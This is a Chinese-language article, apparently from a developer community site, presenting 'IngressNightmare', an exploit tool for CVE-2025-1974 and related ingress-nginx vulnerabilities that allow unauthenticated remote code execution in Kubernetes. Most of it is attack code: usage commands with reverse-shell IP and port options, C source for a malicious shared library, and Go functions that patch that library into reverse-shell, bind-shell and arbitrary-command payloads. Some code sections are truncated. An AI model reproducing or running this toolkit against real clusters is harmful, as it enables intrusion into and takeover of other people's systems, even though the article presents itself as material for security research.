
IngressNightmare 是一个专门用于演示和验证Kubernetes Ingress-NGINX组件中CVE-2025-1974漏洞的利用工具。该漏洞允许远程攻击者在无需身份验证的情况下,通过向受影响的ingress-nginx安装发送特定请求来执行任意代码。
项目的核心价值在于:
ssl_engine配置指令nginx -t命令加载恶意库实现RCE项目依赖以下Go模块:
github.com/guonaihong/gout - HTTP客户端库github.com/sirupsen/logrus - 日志记录github.com/spf13/cobra - CLI框架k8s.io/api/admission/v1 - Kubernetes Admission API# 基本攻击命令
./ingressnightmare exploit \
--ingress-webhook-url "https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443" \
--upload-url "http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80" \
--reverse-shell-ip 192.168.1.100 \
--reverse-shell-port 4444# 使用auth-url攻击(CVE-2025-24514,默认)
./ingressnightmare exploit --is-auth-url
# 使用auth-tls-match-cn攻击(CVE-2025-1097)
./ingressnightmare exploit --is-match-cn --auth-secret-name "kube-system/cilium-ca"
# 使用mirror with uid攻击(CVE-2025-1098)
./ingressnightmare exploit --is-mirror-with-uid# 详细日志输出
./ingressnightmare exploit --verbose 2
# 自定义端口范围扫描
./ingressnightmare exploit \
--pid-range-start 1 \
--pid-range-end 1000 \
--fd-range-start 3 \
--fd-range-end 1024
# 仅执行特定阶段
./ingressnightmare exploit --only-admission # 仅执行Admission Webhook攻击
./ingressnightmare exploit --only-upload # 仅上传恶意.so文件//go:build ignore
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
// 编译命令: gcc -fPIC -o danger.so danger.c -shared
// 自定义字符串比较函数
int strcmp(const char *s1, const char *s2) {
for (int i = 0; s1[i] != '\0' || s2[i] != '\0'; i++) {
if (s1[i] != s2[i]) {
return 1; // 返回1表示不相等
}
}
return 0; // 返回0表示相等
}
// 计算字符串长度
int strlener(const char *str) {
int i = 0;
while (str[i] != '\0') {
i++;
}
return i;
}
// 字符串复制函数
void strcpy(char* dst, const char* src) {
while(*src != '\0') {
*dst = *src;
src++;
dst++;
}
*dst = *src; // 复制终止字符0x00
}
// 输出函数
void printer(const char *str) {
write(2, str, strlener(str));
}
// 解析十进制字符串为整数
static unsigned int parseDecimal(const char** pchCursor) {
unsigned int nVal = 0;
char chNow;
while (chNow = **pchCursor, chNow >= '0' && chNow <= '9') {
// 逐位处理数字
nVal *= 10;
nVal += chNow - '0';
++*pchCursor;
}
return nVal;
}
// 规范化IP地址格式(去除前导零)
void get_valid_ip(const char *input_ip, char *output_ip) {
char temp[4];
int index = 0;
const char *p = input_ip;
while (*p) {
if (*p == '.') {
output_ip[index++] = '.';
p++;
continue;
}
// 跳过前导零
while (*p == '0' && *(p + 1) >= '0' && *(p + 1) <= '9') {
p++;
}
int i = 0;
while (*p && *p != '.') {
temp[i++] = *p++;
}
temp[i] = '\0';
strcpy(output_ip + index, temp);
index += strlener(temp);
}
output_ip[index] = '\0';
}
// 反向Shell主函数(代码片段)
void rev_shell() {
char *server_ip="127.000.000.001";
const char *port_s = "13337";
printer(server_ip);
printer("\n");
printer(port_s);
printer("\n");
char output_ip[16];
get_valid_ip(server_ip, output_ip);
printer(output_ip);
printer("\n");
uint32_t server_port = parseDecimal(&port_s);
// 创建socket连接的代码(后续部分)
}package nginx_ingress
import (
"bytes"
"embed"
log "github.com/sirupsen/logrus"
"strings"
)
// 字节替换函数(自定义实现)
func bytesReplace(s, old, new []byte, n int) []byte {
if len(old) != len(new) {
panic("bytes: unequal old and new byte slices! patched failed")
}
return bytes.Replace(s, old, new, -1)
}
// 嵌入恶意共享库文件
//go:embed danger.so danger.c
var evilLibraryFS embed.FS
var evilLibrary []byte
// 初始化函数
func Init(soData []byte) {
evilLibrary = soData
log.Tracef("Load evil so library. size: %v bytes, prefix: %v(%X)",
len(evilLibrary), evilLibrary[:32], evilLibrary[:32])
}
// 获取默认的恶意共享库
func DefaultEvilLibrary() []byte {
evil, _ := evilLibraryFS.ReadFile("danger.so")
return evil
}
// 获取C语言源代码
func DefaultEvilLibraryC() string {
evil, _ := evilLibraryFS.ReadFile("danger.c")
return string(evil)
}
// 载荷类型定义
type Payload []byte
// 攻击模式常量
const (
MODE_CHECK_FLAG = "MODE_CHECK_FLAG"
MODE_REVERSE_SH = "MODE_REVERSE_SH"
MODE_BINDING_SH = "MODE_BINDING_SH"
MODE_CMD_EXECVE = "MODE_CMD_EXECVE"
)
// 创建反向Shell载荷
func NewReverseShellPayload(tip string, port string) Payload {
// 格式化IP地址部分(补零)
var ip []string
for _, part := range strings.Split(tip, ".") {
if len(part) == 1 {
part = "00" + part
} else if len(part) == 2 {
part = "0" + part
}
ip = append(ip, part)
}
// 替换恶意库中的默认IP地址
payload := bytesReplace(evilLibrary, []byte("127.000.000.001"),
[]byte(strings.Join(ip, ".")), 1)
// 格式化端口号(补零)
switch len(port) {
case 1:
port = "0000" + port
case 2:
port = "000" + port
case 3:
port = "00" + port
case 4:
port = "0" + port
default:
port = port
}
// 替换端口号和攻击模式
payload = bytesReplace(payload, []byte("13337"), []byte(port), 1)
payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG),
[]byte(MODE_REVERSE_SH), 1)
return payload
}
// 创建绑定Shell载荷
func NewBindShellPayload(port string) Payload {
// 格式化端口号
switch len(port) {
case 1:
port = "0000" + port
case 2:
port = "000" + port
case 3:
port = "00" + port
case 4:
port = "0" + port
default:
port = port
}
// 替换端口号和攻击模式
payload := bytesReplace(evilLibrary, []byte("31337"), []byte(port), 1)
payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG),
[]byte(MODE_BINDING_SH), 1)
return payload
}
// 创建命令执行载荷
func NewCommandPayload(command string) Payload {
// 命令长度限制检查
if len(command) > 510 {
return nil
}
// 构建命令字符串(填充到512字节)
cmd := []byte(command + " #")
cmd = append(cmd, bytes.Repeat([]byte{0x41}, 512-len(cmd))...)
// 替换恶意库中的命令部分
payload := bytesReplace(evilLibrary,
[]byte("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
[]byte(cmd), 1)
// 设置攻击模式
payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG),
[]byte(MODE_CMD_EXECVE), 1)
return payload
}package main
import (
"fmt"
"net"
"os"
"strings"
log "github.com/sirupsen/logrus"
"github.com/spf13/cobra"
nginx_ingress "ingressnightmare/nginx-ingress"
)
// 全局配置选项
var Opts = struct {
Mode string
IngressWebhookUrl string
UploadUrl string
Verbose int
DryRun bool
ReverseShellIp net.IP
ReverseShellPort uint16
BindShellPort uint16
Command string
PidRangeStart int
PidRangeEnd int
FdRangeStart int
FdRangeEnd int
OnlyAdmission bool
OnlyAdmissionFilePath string
OnlyUpload bool
nginx_ingress.ExploitMethod
SoFile string
ValidateJsonTemplate string
}{}
// 默认Pod IP获取函数
func defaultPodIp() net.IP {
interfaces, _ := net.Interfaces()
for _, i := range interfaces {
if i.Name == "eth0" {
addrs, _ := i.Addrs()
if addrs != nil || len(addrs) > 0 {
ip := strings.Split(addrs[0].String(), "/")[0]
return net.ParseIP(ip)
}
}
}
return net.ParseIP("10.0.0.1")
}
// 初始化命令行标志
func init() {
// 设置目标参数
ExpCmd.Flags().StringVarP(&Opts.IngressWebhookUrl, "ingress-webhook-url", "i",
"https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443",
"ingress webhook url")
ExpCmd.Flags().StringVarP(&Opts.UploadUrl, "upload-url", "u",
"http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80",
"upload url")
// 设置漏洞利用方法选择
ExpCmd.Flags().BoolVarP(&Opts.IsAuthURL, "is-auth-url", "a", true,
"CVE-2025-24514: using auth-url to attack (default)")
ExpCmd.Flags().BoolVarP(&Opts.IsAuthTLSMatchCN, "is-match-cn", "A", false,
"CVE-2025-1097: using auth-tls-match-cn to attack (not default)")
ExpCmd.Flags().StringVarP(&Opts.AuthSecret, "auth-secret-name", "U", "",
"if using auth-tls-match-cn, secret name is required, example: kube-system/cilium-ca")
ExpCmd.Flags().BoolVarP(&Opts.IsMirrorWithUID, "is-mirror-with-uid", "M", false,
"CVE-2025-1098: using mirror with uid")
// 注意:这里应该有互斥标志的设置,但代码片段被截断
}
// 主要命令定义(代码后续部分)该工具展示了针对Kubernetes Ingress-NGINX组件的高危漏洞的完整利用链,从恶意共享库的制作到自动化攻击流程的实现,为安全研究人员提供了深入理解该漏洞的技术细节。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7vma9L22CBtfiNUmVsubKS
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 [email protected] 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 [email protected] 删除。